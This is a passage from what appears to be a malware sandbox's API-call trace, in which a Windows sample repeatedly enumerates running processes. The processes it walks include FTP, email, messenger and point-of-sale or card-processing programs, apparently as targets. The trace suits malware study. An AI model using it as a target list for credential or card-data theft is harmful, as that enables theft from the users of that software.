| out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0242.789] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0242.791] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0242.792] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0242.794] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0242.795] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0242.796] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0242.798] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0242.800] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0242.802] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0242.803] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0242.805] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0242.807] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0242.808] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0242.809] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0242.811] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0242.812] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0242.814] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0242.815] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0242.817] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0242.819] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0242.820] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0242.822] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0242.824] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0242.825] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0242.827] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0242.865] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0242.867] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0242.869] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0242.872] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0242.874] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0242.877] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0242.880] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0242.882] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0242.885] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0242.888] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0242.890] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0242.892] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0242.894] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0242.896] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0242.898] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0242.900] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0242.902] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0242.904] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0242.942] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0242.944] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0242.947] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0242.949] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0242.952] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0242.954] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0242.957] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0242.959] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0242.961] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0242.965] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0242.967] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0242.968] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0242.970] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0242.972] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0242.973] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0242.975] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0242.976] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0242.978] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0243.069] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0243.072] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0243.074] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0243.076] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0243.079] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0243.081] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0243.092] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0243.094] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0243.095] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0243.098] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0243.100] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0243.102] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0243.103] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0243.105] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0243.106] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0243.108] CloseHandle (hObject=0x13b0) returned 1 [0243.108] Sleep (dwMilliseconds=0x64) [0243.145] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0243.156] Process32First (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0243.158] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0243.209] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0243.211] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0243.213] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0243.215] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0243.216] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, 